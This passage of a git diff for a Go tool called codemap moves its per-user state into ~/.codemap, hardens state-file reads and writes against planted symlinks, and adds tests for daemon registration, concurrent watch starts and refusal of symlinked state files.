!strings.Contains(err.Error(), "unsafe runtime directory") { @@ -108,38 +88,31 @@ func TestSelectRuntimeRefusesLinksFromTheCodemapLeafDown(t *testing.T) { }) } - real := t.TempDir() - linkedCache := filepath.Join(t.TempDir(), "cache") - if err := os.Symlink(real, linkedCache); err != nil { + home, real := t.TempDir(), t.TempDir() + setHome(t, home) + if err := os.Symlink(real, filepath.Join(home, ".codemap")); err != nil { t.Skipf("symlinks unavailable: %v", err) } - t.Setenv("XDG_CACHE_HOME", linkedCache) if _, err := CheckedRuntimeCodemapDir(root); err != nil { - t.Fatalf("a symlinked cache root must work: %v", err) + t.Fatalf("a symlinked ~/.codemap must work: %v", err) } - if _, err := os.Lstat(filepath.Join(real, "codemap", key)); err != nil { + if _, err := os.Lstat(filepath.Join(real, "state", key)); err != nil { t.Fatalf("state not under the link's target: %v", err) } } -// V1: every failure to get the state dir is ErrNoStateDir, and codemap never -// creates a missing home: at most the cache dir's last component. +// Every failure to get the state dir is ErrNoStateDir, and codemap never +// creates a missing home: at most ~/.codemap. func TestSelectRuntimeNeverCreatesAMissingHome(t *testing.T) { root := makeProjectFixture(t) home := filepath.Join(t.TempDir(), "gone") - t.Setenv("XDG_CACHE_HOME", filepath.Join(home, ".cache")) + setHome(t, home) if _, err := SelectRuntime(root); !errors.Is(err, ErrNoStateDir) { t.Fatalf("err = %v, want ErrNoStateDir", err) } if _, err := os.Lstat(home); !os.IsNotExist(err) { t.Fatalf("created the missing home: %v", err) } - - parent := t.TempDir() - t.Setenv("XDG_CACHE_HOME", filepath.Join(parent, ".cache")) - if _, err := SelectRuntime(root); err != nil { - t.Fatalf("the cache dir's own missing leaf should be created: %v", err) - } if runtime.GOOS == "windows" || os.Getuid() == 0 { return } @@ -148,7 +121,7 @@ func TestSelectRuntimeNeverCreatesAMissingHome(t *testing.T) { t.Fatal(err) } t.Cleanup(func() { _ = os.Chmod(readOnly, 0o755) }) - t.Setenv("XDG_CACHE_HOME", filepath.Join(readOnly, ".cache")) + setHome(t, readOnly) if _, err := SelectRuntime(root); !errors.Is(err, ErrNoStateDir) { t.Fatalf("read-only home: err = %v, want ErrNoStateDir", err) } diff --git a/internal/projectpath/testmain_test.go b/internal/projectpath/testmain_test.go index 7c7ae878..056c2da0 100644 --- a/internal/projectpath/testmain_test.go +++ b/internal/projectpath/testmain_test.go @@ -5,13 +5,14 @@ import ( "testing" ) -// TestMain keeps state of un-set-up test repos out of the real user cache. +// TestMain keeps state of un-set-up test repos out of the real ~/.codemap. func TestMain(m *testing.M) { dir, err := os.MkdirTemp("", "codemap-projectpath-cache-*") if err != nil { os.Exit(1) } - os.Setenv("XDG_CACHE_HOME", dir) + os.Setenv("HOME", dir) + os.Setenv("USERPROFILE", dir) code := m.Run() _ = os.RemoveAll(dir) os.Exit(code) diff --git a/internal/runtimefile/append_unix.go b/internal/runtimefile/append_unix.go index 62f6f745..98f41199 100644 --- a/internal/runtimefile/append_unix.go +++ b/internal/runtimefile/append_unix.go @@ -3,6 +3,7 @@ package runtimefile import ( + "errors" "fmt" "os" "syscall" @@ -11,6 +12,9 @@ import ( // OpenAppend opens without following a final symlink. func OpenAppend(path string, mode os.FileMode) (*os.File, error) { fd, err := syscall.Open(path, syscall.O_WRONLY|syscall.O_APPEND|syscall.O_CREAT|syscall.O_NOFOLLOW, uint32(mode.Perm())) + if errors.Is(err, syscall.ELOOP) { + return nil, fmt.Errorf("%w %q", ErrUnsafe, path) + } if err != nil { return nil, err } @@ -18,7 +22,7 @@ func OpenAppend(path string, mode os.FileMode) (*os.File, error) { info, err := file.Stat() if err != nil || !info.Mode().IsRegular() { _ = file.Close() - return nil, fmt.Errorf("unsafe runtime file %q", path) + return nil, fmt.Errorf("%w %q", ErrUnsafe, path) } return file, nil } diff --git a/internal/runtimefile/append_windows.go b/internal/runtimefile/append_windows.go index ee8d45a9..3153f50d 100644 --- a/internal/runtimefile/append_windows.go +++ b/internal/runtimefile/append_windows.go @@ -33,7 +33,7 @@ func OpenAppend(path string, mode os.FileMode) (*os.File, error) { } if info.FileAttributes&syscall.FILE_ATTRIBUTE_REPARSE_POINT != 0 || info.FileAttributes&syscall.FILE_ATTRIBUTE_DIRECTORY != 0 { _ = syscall.CloseHandle(handle) - return nil, fmt.Errorf("unsafe runtime file %q", path) + return nil, fmt.Errorf("%w %q", ErrUnsafe, path) } file := os.NewFile(uintptr(handle), path) if file == nil { diff --git a/internal/runtimefile/runtimefile.go b/internal/runtimefile/runtimefile.go index 1fe63bbe..e9fae73a 100644 --- a/internal/runtimefile/runtimefile.go +++ b/internal/runtimefile/runtimefile.go @@ -1,12 +1,16 @@ package runtimefile import ( + "errors" "fmt" "io" "os" "path/filepath" ) +// ErrUnsafe marks a state file that is a symlink or not a regular file. +var ErrUnsafe = errors.New("unsafe runtime file") + // WriteAtomic replaces a regular runtime file without following its endpoint. func WriteAtomic(path string, data []byte, mode os.FileMode) error { return WriteAtomicWith(path, mode, func(w io.Writer) error { @@ -18,7 +22,7 @@ func WriteAtomic(path string, data []byte, mode os.FileMode) error { // WriteAtomicWith replaces a regular runtime file with streamed content. func WriteAtomicWith(path string, mode os.FileMode, write func(io.Writer) error) error { if info, err := os.Lstat(path); err == nil && !info.Mode().IsRegular() { - return fmt.Errorf("unsafe runtime file %q", path) + return fmt.Errorf("%w %q", ErrUnsafe, path) } else if err != nil && !os.IsNotExist(err) { return err } @@ -44,12 +48,32 @@ func WriteAtomicWith(path string, mode os.FileMode, write func(io.Writer) error) // Read rejects symlink and non-regular endpoints. func Read(path string) ([]byte, error) { - info, err := os.Lstat(path) + f, err := OpenRead(path) + if err != nil { + return nil, err + } + defer f.Close() + return io.ReadAll(f) +} + +// OpenRead opens a regular file for reading and refuses a symlink, even one +// swapped in between the check and the open: the opened file must be the one +// Lstat saw. +func OpenRead(path string) (*os.File, error) { + before, err := os.Lstat(path) + if err != nil { + return nil, err + } + if !before.Mode().IsRegular() { + return nil, fmt.Errorf("%w %q", ErrUnsafe, path) + } + f, err := os.Open(path) if err != nil { return nil, err } - if !info.Mode().IsRegular() { - return nil, fmt.Errorf("unsafe runtime file %q", path) + if after, err := f.Stat(); err != nil || !os.SameFile(before, after) { + _ = f.Close() + return nil, fmt.Errorf("%w %q", ErrUnsafe, path) } - return os.ReadFile(path) + return f, nil } diff --git a/internal/runtimefile/runtimefile_test.go b/internal/runtimefile/runtimefile_test.go index f566d256..924ca808 100644 --- a/internal/runtimefile/runtimefile_test.go +++ b/internal/runtimefile/runtimefile_test.go @@ -57,3 +57,34 @@ func TestWriteAtomicWithReplacesDestination(t *testing.T) { t.Fatalf("content = %q, want new", data) } } + +// Every state write and read refuses a planted symlink, leaving its target +// untouched. +func TestEveryStateAccessRefusesAPlantedLink(t *testing.T) { + outside := filepath.Join(t.TempDir(), "outside") + if err := os.WriteFile(outside, []byte("mine\n"), 0o600); err != nil { + t.Fatal(err) + } + link := filepath.Join(t.TempDir(), "state.json") + if err := os.Symlink(outside, link); err != nil { + t.Skipf("symlinks unavailable: %v", err) + } + if f, err := OpenAppend(link, 0o600); err == nil { + _, _ = f.Write([]byte("leak\n")) + _ = f.Close() + t.Error("OpenAppend followed the link") + } + if err := WriteAtomic(link, []byte("leak\n"), 0o600); err == nil { + t.Error("WriteAtomic replaced the link") + } + if _, err := Read(link); err == nil { + t.Error("Read followed the link") + } + if f, err := OpenRead(link); err == nil { + _ = f.Close() + t.Error("OpenRead followed the link") + } + if data, _ := os.ReadFile(outside); string(data) != "mine\n" { + t.Fatalf("outside file changed: %q", data) + } +} diff --git a/main.go b/main.go index 9f40ff84..9a457a58 100644 --- a/main.go +++ b/main.go @@ -465,9 +465,8 @@ func main() { // adds to the config's exclude list (issue #150), since a config exclude // is a standing decision about the repo and one run narrowing further // must not silently re-admit it. - if tempDir == "" { - cmd.EnsureAutoConfig(absRoot) - } + cliExclude := exclude + autoFilter := tempDir == "" && len(only) == 0 && cmd.AutoConfigActive(absRoot) projCfg := config.Load(absRoot) if len(only) == 0 && len(projCfg.Only) > 0 { only = projCfg.Only @@ -578,11 +577,35 @@ func main() { // Scan files, keeping at most the bound and counting the rest (#186). treeFilters := filters treeFilters.IncludeSymlinks = true + if autoFilter { + // Scan unfiltered once: the auto config is re-derived from it, then + // applied, so it follows the repo's file mix with no second scan. + treeFilters.Only, treeFilters.Exclude = nil, cliExclude + } files, totalFiles, err := scanner.ScanFilesBounded(context.Background(), root, gitCache, treeFilters) if err != nil { fmt.Fprintf(os.Stderr, "Error walking tree: %v\n", err) os.Exit(1) } + autoNote := "" + if autoFilter { + autoCfg := cmd.RefreshAutoConfig(absRoot, files) + autoNote = cmd.AutoFilterNote(autoCfg) + filters.Only = autoCfg.Only + filters.Exclude = config.MergeExcludes(autoCfg.Exclude, cliExclude) + only, exclude = filters.Only, filters.Exclude + bounded := totalFiles > len(files) + kept := files[:0] + for _, f := range files { + if scanner.MatchesFilters(filepath.ToSlash(f.Path), f.Ext, only, exclude) { + kept = append(kept, f) + } + } + files = kept + if !bounded { + totalFiles = len(files) + } + } var scanBound *scanner.ScanBound if totalFiles > len(files) { scanBound = &scanner.ScanBound{Scanned: len(files), Total: totalFiles, Limit: limits.ScanFileBound(*maxFiles)} @@ -635,6 +658,9 @@ func main() { } } render.Tree(os.Stdout, project) + if autoNote != "" { + fmt.Println(autoNote) + } } if !*jsonMode && scanBound != nil { fmt.Printf(" Coverage: partial โ€” %s\n", scanBound.Note()) @@ -980,6 +1006,17 @@ func runWatchSubcommand(subCmd, root string) error { switch subCmd { case "start": transition, err := acquireWatchTransition(absRoot) + if errors.Is(err, watch.ErrTransitionLocked) { + // Another start won the race; its daemon is ours too. + for deadline := time.Now().Add(watchReadinessTimeout); time.Now().Before(deadline); time.Sleep(50 * time.Millisecond) { + if active, _ := watch.ResolveActiveRuntime(absRoot); active.PID > 0 && !active.Legacy { + fmt.Println("Watch daemon already running") + return nil + } + } + fmt.Println("Watch daemon start already in progress") + return nil + } if err != nil { return fmt.Errorf("starting daemon: %w", err) } @@ -1001,7 +1038,6 @@ func runWatchSubcommand(subCmd, root string) error { fmt.Println("Watch daemon already running") return nil } - cmd.EnsureAutoConfig(absRoot) if err := watch.PreserveStalePIDEvidence(active); err != nil { return fmt.Errorf("preserving stale daemon PID: %w", err) } diff --git a/main_test.go b/main_test.go index 43edaddf..89a81f8a 100644 --- a/main_test.go +++ b/main_test.go @@ -42,9 +42,6 @@ func TestMain(m *testing.M) { if os.Getenv("CODEMAP_DAEMON_REGISTRY") == "" { os.Setenv("CODEMAP_DAEMON_REGISTRY", filepath.Join(tmpDir, "daemons")) } - if os.Getenv("XDG_CACHE_HOME") == "" { - os.Setenv("XDG_CACHE_HOME", filepath.Join(tmpDir, "cache")) - } // setup writes Codex config to the user scope by default; never the real one. for _, name := range []string{"HOME", "USERPROFILE"} { os.Setenv(name, tmpDir) diff --git a/mcp/testmain_test.go b/mcp/testmain_test.go index 42a70ca1..9bb64572 100644 --- a/mcp/testmain_test.go +++ b/mcp/testmain_test.go @@ -16,7 +16,8 @@ func TestMain(m *testing.M) { os.Exit(1) } os.Setenv("CODEMAP_DAEMON_REGISTRY", dir) - os.Setenv("XDG_CACHE_HOME", dir) + os.Setenv("HOME", dir) + os.Setenv("USERPROFILE", dir) code := m.Run() _ = os.RemoveAll(dir) os.Exit(code) diff --git a/render/testmain_test.go b/render/testmain_test.go new file mode 100644 index 00000000..617bd91e --- /dev/null +++ b/render/testmain_test.go @@ -0,0 +1,20 @@ +package render + +import ( + "os" + "testing" +) + +// TestMain points HOME at a temp dir so state never lands in the real +// ~/.codemap. +func TestMain(m *testing.M) { + dir, err := os.MkdirTemp("", "codemap-render-home-*") + if err != nil { + os.Exit(1) + } + os.Setenv("HOME", dir) + os.Setenv("USERPROFILE", dir) + code := m.Run() + _ = os.RemoveAll(dir) + os.Exit(code) +} diff --git a/scanner/testmain_test.go b/scanner/testmain_test.go new file mode 100644 index 00000000..83070f57 --- /dev/null +++ b/scanner/testmain_test.go @@ -0,0 +1,20 @@ +package scanner + +import ( + "os" + "testing" +) + +// TestMain points HOME at a temp dir so state never lands in the real +// ~/.codemap. +func TestMain(m *testing.M) { + dir, err := os.MkdirTemp("", "codemap-scanner-home-*") + if err != nil { + os.Exit(1) + } + os.Setenv("HOME", dir) + os.Setenv("USERPROFILE", dir) + code := m.Run() + _ = os.RemoveAll(dir) + os.Exit(code) +} diff --git a/skills/testmain_test.go b/skills/testmain_test.go new file mode 100644 index 00000000..1feab47e --- /dev/null +++ b/skills/testmain_test.go @@ -0,0 +1,20 @@ +package skills + +import ( + "os" + "testing" +) + +// TestMain points HOME at a temp dir so state never lands in the real +// ~/.codemap. +func TestMain(m *testing.M) { + dir, err := os.MkdirTemp("", "codemap-skills-home-*") + if err != nil { + os.Exit(1) + } + os.Setenv("HOME", dir) + os.Setenv("USERPROFILE", dir) + code := m.Run() + _ = os.RemoveAll(dir) + os.Exit(code) +} diff --git a/state_location_test.go b/state_location_test.go index b91acd07..67dc36a7 100644 --- a/state_location_test.go +++ b/state_location_test.go @@ -12,6 +12,7 @@ import ( "testing" "time" + "codemap/internal/projectpath" "codemap/limits" ) @@ -50,7 +51,7 @@ func runEveryEntryPoint(t *testing.T, root, cache string) { t.Helper() cmd := exec.Command(codemapTestBinaryPath, args...) cmd.Dir = root - cmd.Env = append(os.Environ(), "XDG_CACHE_HOME="+cache, "CODEMAP_HOOK_TIMEOUT=30s") + cmd.Env = append(os.Environ(), "HOME="+cache, "CODEMAP_HOOK_TIMEOUT=30s") cmd.Stdin = strings.NewReader(stdin) var stderr bytes.Buffer cmd.Stderr = &stderr @@ -117,7 +118,7 @@ func TestUnsetUpRepoKeepsNothingInTheRepo(t *testing.T) { } // TestUnsetUpRepoWithoutCacheDirWritesNothing: with no user cache directory -// (no HOME, no XDG_CACHE_HOME) state is unavailable, never put in a shared +// (no HOME) state is unavailable, never put in a shared // temp dir, and every hook still exits 0. func TestUnsetUpRepoWithoutCacheDirWritesNothing(t *testing.T) { root := stateFixture(t) @@ -172,7 +173,7 @@ func codemapIn(t *testing.T, dir string, env []string, stdin string, args ...str // thing it may add to the repo is .codemap/. func setUpFixture(t *testing.T, root, cache string) { t.Helper() - if out, err := codemapIn(t, root, []string{"XDG_CACHE_HOME=" + cache}, "", "setup", "--no-hooks", "--no-mcp", "--no-skills", root); err != nil { + if out, err := codemapIn(t, root, []string{"HOME=" + cache}, "", "setup", "--no-hooks", "--no-mcp", "--no-skills", root); err != nil { t.Fatalf("setup: %v\n%s", err, out) } } @@ -222,7 +223,7 @@ func TestSetUpRepoKeepsOnlyConfigInTheRepo(t *testing.T) { return } // V3: every state dir is 0700 and every state file 0600. - _ = filepath.WalkDir(filepath.Join(cache, "codemap"), func(path string, d fs.DirEntry, err error) error { + _ = filepath.WalkDir(filepath.Join(cache, ".codemap", "state"), func(path string, d fs.DirEntry, err error) error { if err != nil { t.Fatal(err) } @@ -239,7 +240,7 @@ func TestRemovingCodemapDirKeepsStateWhereItIs(t *testing.T) { root := stateFixture(t) cache := t.TempDir() setUpFixture(t, root, cache) - env := []string{"XDG_CACHE_HOME=" + cache} + env := []string{"HOME=" + cache} edit := func(file string) { t.Helper() stdin := `{"session_id":"s","tool_input":{"file_path":"` + filepath.ToSlash(filepath.Join(root, file)) + `"}}` @@ -325,7 +326,7 @@ func TestAutoConfigKeepsHubsInADataHeavyRepo(t *testing.T) { t.Fatal(err) } } - out, err := codemapIn(t, root, []string{"XDG_CACHE_HOME=" + t.TempDir()}, "", ".") + out, err := codemapIn(t, root, []string{"HOME=" + t.TempDir()}, "", ".") if err != nil { t.Fatalf("codemap .: %v\n%s", err, out) } @@ -351,7 +352,7 @@ func TestSetupWhileDaemonRunsKeepsOneDaemon(t *testing.T) { t.Skip("pgrep") } root := projectpathCanonical(t, stateFixture(t)) - env := []string{"XDG_CACHE_HOME=" + t.TempDir()} + env := []string{"HOME=" + t.TempDir()} t.Cleanup(func() { _, _ = codemapIn(t, root, env, "", "watch", "stop", root) }) if out, err := codemapIn(t, root, env, "", "watch", "start", root); err != nil { t.Fatalf("watch start: %v\n%s", err, out) @@ -374,28 +375,36 @@ func TestSetupWhileDaemonRunsKeepsOneDaemon(t *testing.T) { } } -// Finding 1 across an upgrade: a live registered daemon whose state is not -// in the current state dir is replaced, never joined by a second, and -// `watch stop` stops whatever is registered. +// Finding 1 across an upgrade: a live registered daemon with no pid file in +// the state dir (an older binary's) is replaced, never joined by a second, +// and `watch stop` stops whatever is registered. func TestRegisteredDaemonWithEmptyStateDirGetsNoSecond(t *testing.T) { if runtime.GOOS == "windows" { t.Skip("pgrep") } root := projectpathCanonical(t, stateFixture(t)) - oldEnv := []string{"XDG_CACHE_HOME=" + t.TempDir()} - newEnv := []string{"XDG_CACHE_HOME=" + t.TempDir()} - t.Cleanup(func() { - _, _ = codemapIn(t, root, newEnv, "", "watch", "stop", root) - _, _ = codemapIn(t, root, oldEnv, "", "watch", "stop", root) - }) - if out, err := codemapIn(t, root, oldEnv, "", "watch", "start", root); err != nil { + home := t.TempDir() + env := []string{"HOME=" + home} + t.Cleanup(func() { _, _ = codemapIn(t, root, env, "", "watch", "stop", root) }) + if out, err := codemapIn(t, root, env, "", "watch", "start", root); err != nil { t.Fatalf("watch start: %v\n%s", err, out) } old := daemonPIDs(t, root) if len(old) != 1 { t.Fatalf("daemons after start = %v", old) } - out, err := codemapIn(t, root, newEnv, "", "watch", "start", root) + // What an older binary leaves: a registry entry without a state dir, and + // its pid file somewhere this version does not look. + key := projectpath.ProjectKey(root) + entry := filepath.Join(os.Getenv("CODEMAP_DAEMON_REGISTRY"), key+".json") + if err := os.WriteFile(entry, []byte(`{"pid":`+old[0]+`,"root":"`+root+`"}`), 0o600); err != nil { + t.Fatal(err) + } + if err := os.Remove(filepath.Join(home, ".codemap", "state", key, "watch.pid")); err != nil { + t.Fatal(err) + } + + out, err := codemapIn(t, root, env, "", "watch", "start", root) if err != nil || !strings.Contains(out, "older codemap") { t.Fatalf("start with an empty state dir: %v\n%s", err, out) } @@ -403,7 +412,7 @@ func TestRegisteredDaemonWithEmptyStateDirGetsNoSecond(t *testing.T) { if len(now) != 1 || now[0] == old[0] { t.Fatalf("daemons %v then %v, want the registered one replaced by exactly one", old, now) } - if out, err := codemapIn(t, root, newEnv, "", "watch", "stop", root); err != nil { + if out, err := codemapIn(t, root, env, "", "watch", "stop", root); err != nil { t.Fatalf("watch stop: %v\n%s", err, out) } if left := daemonPIDs(t, root); len(left) != 0 { @@ -411,6 +420,88 @@ func TestRegisteredDaemonWithEmptyStateDirGetsNoSecond(t *testing.T) { } } +// Two environments that differ only in XDG_CACHE_HOME (a shell and a +// GUI-launched agent) share one daemon instead of killing each other's. +func TestDifferentXDGCacheHomesShareOneDaemon(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("pgrep") + } + root := projectpathCanonical(t, stateFixture(t)) + home := t.TempDir() + shell := []string{"HOME=" + home, "XDG_CACHE_HOME=" + t.TempDir()} + gui := []string{"HOME=" + home, "XDG_CACHE_HOME="} + t.Cleanup(func() { _, _ = codemapIn(t, root, shell, "", "watch", "stop", root) }) + if out, err := codemapIn(t, root, shell, "", "watch", "start", root); err != nil { + t.Fatalf("watch start: %v\n%s", err, out) + } + before := daemonPIDs(t, root) + if out, _ := codemapIn(t, root, gui, "", "watch", "start", root); !strings.Contains(out, "already running") { + t.Fatalf("second environment: %s", out) + } + if out, _ := codemapIn(t, root, shell, "", "watch", "start", root); !strings.Contains(out, "already running") { + t.Fatalf("first environment again: %s", out) + } + if after := daemonPIDs(t, root); len(before) != 1 || strings.Join(after, ",") != strings.Join(before, ",") { + t.Fatalf("daemons %v became %v", before, after) + } +} + +// Losing `watch start` racers succeed quietly with the winner's daemon. +func TestConcurrentWatchStartsAllSucceedWithOneDaemon(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("pgrep") + } + root := projectpathCanonical(t, stateFixture(t)) + env := []string{"HOME=" + t.TempDir()} + t.Cleanup(func() { _, _ = codemapIn(t, root, env, "", "watch", "stop", root) }) + const n = 4 + outs, errs := make([]string, n), make([]error, n) + done := make(chan int, n) + for i := 0; i < n; i++ { + go func(i int) { outs[i], errs[i] = codemapIn(t, root, env, "", "watch", "start", root); done <- i }(i) + } + for i := 0; i < n; i++ { + <-done + } + for i := range outs { + if errs[i] != nil || strings.Contains(outs[i], "Error") { + t.Fatalf("start %d: %v\n%s", i, errs[i], outs[i]) + } + } + if pids := daemonPIDs(t, root); len(pids) != 1 { + t.Fatalf("daemons = %v, want one", pids) + } +} + +// A state file replaced by a symlink is never written through. +func TestPlantedStateFileLinksAreNotWrittenThrough(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("symlinks") + } + root := stateFixture(t) + home := t.TempDir() + runEveryEntryPoint(t, root, home) + stateDir := filepath.Dir(findFile(t, home, "project.json")) + outside := filepath.Join(t.TempDir(), "outside") + if err := os.WriteFile(outside, []byte("mine\n"), 0o600); err != nil { + t.Fatal(err) + } + for _, name := range []string{"agent_edits.jsonl", "events.log", "hubs.txt", "status", "auto-config.json", "subagent-start.json", "handoff.latest.json", "handoff.metrics.log"} { + path := filepath.Join(stateDir, name) + _ = os.Remove(path) + if err := os.Symlink(outside, path); err != nil { + t.Fatal(err) + } + } + runEveryEntryPoint(t, root, home) + if out, err := codemapIn(t, root, []string{"HOME=" + home}, "", "handoff", "."); err == nil { + t.Fatalf("handoff saved through a planted link:\n%s", out) + } + if data, _ := os.ReadFile(outside); string(data) != "mine\n" { + t.Fatalf("a state write went through a link: %q", data) + } +} + func projectpathCanonical(t *testing.T, path string) string { t.Helper() canonical, err := filepath.EvalSymlinks(path) @@ -432,14 +523,17 @@ func TestNoUsableStateDirIsQuiet(t *testing.T) { } t.Cleanup(func() { _ = os.Chmod(readOnly, 0o755) }) linkCache := t.TempDir() - if err := os.Symlink(t.TempDir(), filepath.Join(linkCache, "codemap")); err != nil { + if err := os.Mkdir(filepath.Join(linkCache, ".codemap"), 0o700); err != nil { + t.Fatal(err) + } + if err := os.Symlink(t.TempDir(), filepath.Join(linkCache, ".codemap", "state")); err != nil { t.Fatal(err) } missing := filepath.Join(t.TempDir(), "gone") cases := map[string][]string{ - "missing home": {"HOME=" + missing, "XDG_CACHE_HOME=", "CODEMAP_DAEMON_REGISTRY="}, - "read-only home": {"HOME=" + readOnly, "XDG_CACHE_HOME="}, - "planted link": {"XDG_CACHE_HOME=" + linkCache}, + "missing home": {"HOME=" + missing, "CODEMAP_DAEMON_REGISTRY="}, + "read-only home": {"HOME=" + readOnly}, + "planted link": {"HOME=" + linkCache}, } for name, env := range cases { t.Run(name, func(t *testing.T) { @@ -476,7 +570,7 @@ func TestNoUsableStateDirIsQuiet(t *testing.T) { func TestSubagentStartTimeoutStillFillsTheCache(t *testing.T) { root := stateFixture(t) cache := t.TempDir() - out, err := codemapIn(t, root, []string{"XDG_CACHE_HOME=" + cache, "CODEMAP_HOOK_TIMEOUT=1ms"}, `{"cwd":"`+filepath.ToSlash(root)+`"}`, "hook", "subagent-start") + out, err := codemapIn(t, root, []string{"HOME=" + cache, "CODEMAP_HOOK_TIMEOUT=1ms"}, `{"cwd":"`+filepath.ToSlash(root)+`"}`, "hook", "subagent-start") if err != nil || out != "" { t.Fatalf("timed-out subagent-start: %v %q", err, out) } diff --git a/topology/cache.go b/topology/cache.go index 56e5eb8d..7fa53f6a 100644 --- a/topology/cache.go +++ b/topology/cache.go @@ -15,6 +15,7 @@ import ( "codemap/config" "codemap/internal/projectpath" + "codemap/internal/runtimefile" "codemap/scanner" ) @@ -148,7 +149,7 @@ func ReadCache(root string, expected CacheIdentity) (*Graph, bool) { // ReadCacheAt reads a cache from cacheDir and validates graph paths against root. func ReadCacheAt(cacheDir, root string, expected CacheIdentity) (*Graph, bool) { - data, err := os.ReadFile(CachePathAt(cacheDir)) + data, err := runtimefile.Read(CachePathAt(cacheDir)) if err != nil { return nil, false } diff --git a/topology/testmain_test.go b/topology/testmain_test.go index 550ec194..45980c29 100644 --- a/topology/testmain_test.go +++ b/topology/testmain_test.go @@ -5,13 +5,14 @@ import ( "testing" ) -// TestMain keeps state of un-set-up test repos out of the real user cache. +// TestMain keeps state of un-set-up test repos out of the real ~/.codemap. func TestMain(m *testing.M) { dir, err := os.MkdirTemp("", "codemap-topology-cache-*") if err != nil { os.Exit(1) } - os.Setenv("XDG_CACHE_HOME", dir) + os.Setenv("HOME", dir) + os.Setenv("USERPROFILE", dir) code := m.Run() _ = os.RemoveAll(dir) os.Exit(code) diff --git a/watch/daemon.go b/watch/daemon.go index 18814d33..07379c24 100644 --- a/watch/daemon.go +++ b/watch/daemon.go @@ -115,7 +115,7 @@ func NewDaemon(root string, verbose bool) (*Daemon, error) { if err != nil { return nil, fmt.Errorf("resolve runtime state: %w", err) } - runtimeDir := filepath.Join(selection.RuntimeDir, "projects", projectpath.ProjectKey(selection.ProjectRoot)) + runtimeDir := selection.ProjectDir watcher, err := fsnotify.NewWatcher() if err != nil { diff --git a/watch/events.go b/watch/events.go index ae6da544..e64634f6 100644 --- a/watch/events.go +++ b/watch/events.go @@ -1061,7 +1061,7 @@ func trimEventLogToBytes(path string, maxBytes, keepBytes int64) error { return nil } - f, err := os.Open(path) + f, err := runtimefile.OpenRead(path) if err != nil { return err } @@ -1085,7 +1085,7 @@ func trimEventLogToBytes(path string, maxBytes, keepBytes int64) error { tail = tail[idx+1:] } - return os.WriteFile(path, tail, 0o600) + return runtimefile.WriteAtomic(path, tail, 0o600) } // countLines counts lines in a file efficiently (no full read into memory) diff --git a/watch/registry.go b/watch/registry.go index c245f7e5..3f6baf32 100644 --- a/watch/registry.go +++ b/watch/registry.go @@ -27,9 +27,12 @@ const daemonRegistryEnv = "CODEMAP_DAEMON_REGISTRY" // DaemonInfo is one registered daemon. type DaemonInfo struct { - PID int `json:"pid"` - Root string `json:"root"` - Started time.Time `json:"-"` + PID int `json:"pid"` + Root string `json:"root"` + // StateDir holds the daemon's pid file; binaries before it was recorded + // leave it empty. + StateDir string `json:"state_dir,omitempty"` + Started time.Time `json:"-"` } type registryEntry struct { @@ -37,55 +40,55 @@ type registryEntry struct { path string } +// daemonRegistryDir is UserDir/daemons, beside the state dirs, unless +// daemonRegistryEnv overrides it. func daemonRegistryDir() (string, error) { if dir := os.Getenv(daemonRegistryEnv); dir != "" { return dir, nil } - home, err := os.UserHomeDir() - if err != nil { - return "", err + base, ok := projectpath.UserDir() + if !ok { + return "", projectpath.ErrNoStateDir } - return filepath.Join(home, ".codemap", "daemons"), nil + return filepath.Join(base, "daemons"), nil } -// registerDaemon records pid for root. Failures are ignored: a daemon must -// start even when the home directory is unwritable. -func registerDaemon(root string, pid int) { +// registerDaemon records pid and its state dir for root. Failures are +// ignored: a daemon must start even when the home directory is unwritable. +func registerDaemon(root string, pid int, stateDir string) { dir, err := daemonRegistryDir() if err != nil { return } - // Create .codemap/daemons but never a missing home above it. - if _, err := os.Stat(filepath.Dir(filepath.Dir(dir))); err != nil { - return - } - for _, d := range []string{filepath.Dir(dir), dir} { - if err := os.Mkdir(d, 0o700); err != nil && !os.IsExist(err) { + if os.Getenv(daemonRegistryEnv) == "" { + if dir, err = projectpath.EnsureUserSubdir("daemons"); err != nil { return } + } else if err := os.MkdirAll(dir, 0o700); err != nil { + return } - payload, err := json.Marshal(DaemonInfo{PID: pid, Root: canonicalRoot(root)}) + payload, err := json.Marshal(DaemonInfo{PID: pid, Root: canonicalRoot(root), StateDir: stateDir}) if err != nil { return } _ = runtimefile.WriteAtomic(filepath.Join(dir, projectpath.ProjectKey(root)+".json"), payload, 0o600) } -// registeredPID returns the pid the registry records for root, or 0. -func registeredPID(root string) int { +// registeredDaemon returns the entry the registry records for root, if any. +func registeredDaemon(root string) (DaemonInfo, bool) { dir, err := daemonRegistryDir() if err != nil { - return 0 + return DaemonInfo{}, false } data, err := runtimefile.Read(filepath.Join(dir, projectpath.ProjectKey(root)+".json")) if err != nil { - return 0 + return DaemonInfo{}, false } var info DaemonInfo if json.Unmarshal(data, &info) != nil || info.PID <= 0 || canonicalRoot(info.Root) != canonicalRoot(root) { - return 0 + return DaemonInfo{}, false } - return info.PID + return info, true } // unregisterDaemon drops every entry naming pid. diff --git a/watch/state.go b/watch/state.go index f5ddbfce..b78ffa4f 100644 --- a/watch/state.go +++ b/watch/state.go @@ -131,7 +131,7 @@ func WriteProcessPID(root string, pid int) error { if err := runtimefile.WriteAtomic(pidFile, []byte(fmt.Sprintf("%d", pid)), 0o600); err != nil { return err } - registerDaemon(root, pid) + registerDaemon(root, pid, runtimeDir) return nil } @@ -244,11 +244,20 @@ func ResolveActiveRuntime(root string) (ActiveRuntime, error) { return ActiveRuntime{}, ErrDaemonOwnershipUnknown } } - if pid := registeredPID(selection.ProjectRoot); pid > 0 && processAlive(pid) && - daemonOwnershipForPID(selection.ProjectRoot, pid) == ownershipOwned { - active.PID = pid - active.Legacy = true + info, ok := registeredDaemon(selection.ProjectRoot) + if !ok || !processAlive(info.PID) || daemonOwnershipForPID(selection.ProjectRoot, info.PID) != ownershipOwned { + return active, nil } + active.PID = info.PID + // A daemon whose recorded state dir holds its pid runs under another + // current layout (an explicit --setup-root): use it. Without that record + // it is an older binary's daemon. + if pid, err := readPIDAt(info.StateDir); info.StateDir != "" && err == nil && pid == info.PID { + active.Directory = info.StateDir + active.StalePIDPath = "" + return active, nil + } + active.Legacy = true return active, nil } diff --git a/watch/state_test.go b/watch/state_test.go index b9c2d866..b26992bf 100644 --- a/watch/state_test.go +++ b/watch/state_test.go @@ -283,7 +283,7 @@ func TestResolveActiveRuntimeFindsRegisteredDaemonOutsideStateDir(t *testing.T) } root := 